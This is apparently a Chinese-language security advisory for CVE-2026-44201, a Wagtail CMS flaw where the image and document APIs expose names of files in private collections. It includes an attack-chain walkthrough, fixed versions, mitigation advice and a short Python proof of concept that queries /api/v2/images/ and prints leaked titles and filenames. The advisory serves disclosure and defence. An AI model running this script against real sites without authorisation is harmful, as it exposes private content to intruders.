IPBUF安全漏洞报告
English
CVE-2026-44201 CVSS 5.3 中危

CVE-2026-44201 Wagtail信息泄露漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44201
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wagtail

相关标签

信息泄露WagtailCWE-200API安全

漏洞概述

Wagtail是一个基于Django的开源内容管理系统。在该漏洞中,Wagtail的文档和图像API存在访问控制缺陷。在特定版本之前,系统未能正确过滤私有集合中的数据,导致API错误地列出了本应受保护的资源。拥有API访问权限的攻击者无需特殊权限即可查看私有集合内文档和图像的文件名及名称。这种信息泄露可能暴露敏感内容结构。官方已在7.0.7、7.3.2和7.4版本中修复了此问题。

技术细节

该漏洞的根本原因在于Wagtail的文档和图像API端点在处理列表查询请求时,未能正确实施访问控制检查。具体而言,当API接收到获取资源列表的请求时,后端数据库查询逻辑没有充分应用针对私有集合的过滤规则。在正常情况下,系统应仅返回公共集合或用户有权访问的集合中的项目。然而,受影响版本的代码忽略了这一限制,导致私有集合中的文档和图像元数据(如文件名和名称)被包含在API响应中。攻击者利用此漏洞的方式相对简单,只需向受影响的API端点发送标准的HTTP GET请求,无需任何特殊认证或用户交互。解析返回的JSON数据即可获取敏感信息。尽管此漏洞主要导致信息泄露,不直接允许文件下载,但泄露的文件名可能包含敏感业务逻辑或路径信息,为后续攻击提供便利。该漏洞符合CWE-200(向未经授权的行为人暴露敏感信息)的定义。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用Wagtail CMS,并确认其API端点(如/api/v2/images/或/api/v2/documents/)可访问。
STEP 2
利用
攻击者直接向API端点发送HTTP GET请求。由于无需认证且存在漏洞,系统返回了所有项目的列表,包括私有集合中的项目。
STEP 3
信息泄露
攻击者解析API返回的JSON响应,提取出私有集合中文档和图像的文件名及标题,获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL vulnerable to CVE-2026-44201 # Replace with actual target domain target_url = "http://target-site.com/api/v2/images/" try: # Send a GET request to the API # No authentication is required based on the vulnerability description response = requests.get(target_url) if response.status_code == 200: data = response.json() print("Successfully retrieved data:") # Check if items from private collections are exposed for item in data.get('items', []): print(f"Title: {item.get('title')}, Filename: {item.get('filename')}") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Wagtail < 7.0.7
Wagtail < 7.3.2
Wagtail < 7.4

防御指南

临时缓解措施
建议管理员立即将Wagtail升级至修复版本(7.0.7、7.3.2或7.4)。如果无法立即升级,应考虑在网络层面限制对API端点的访问,例如通过防火墙规则仅允许受信任的IP地址访问/api/路径,从而降低信息泄露的风险。

参考链接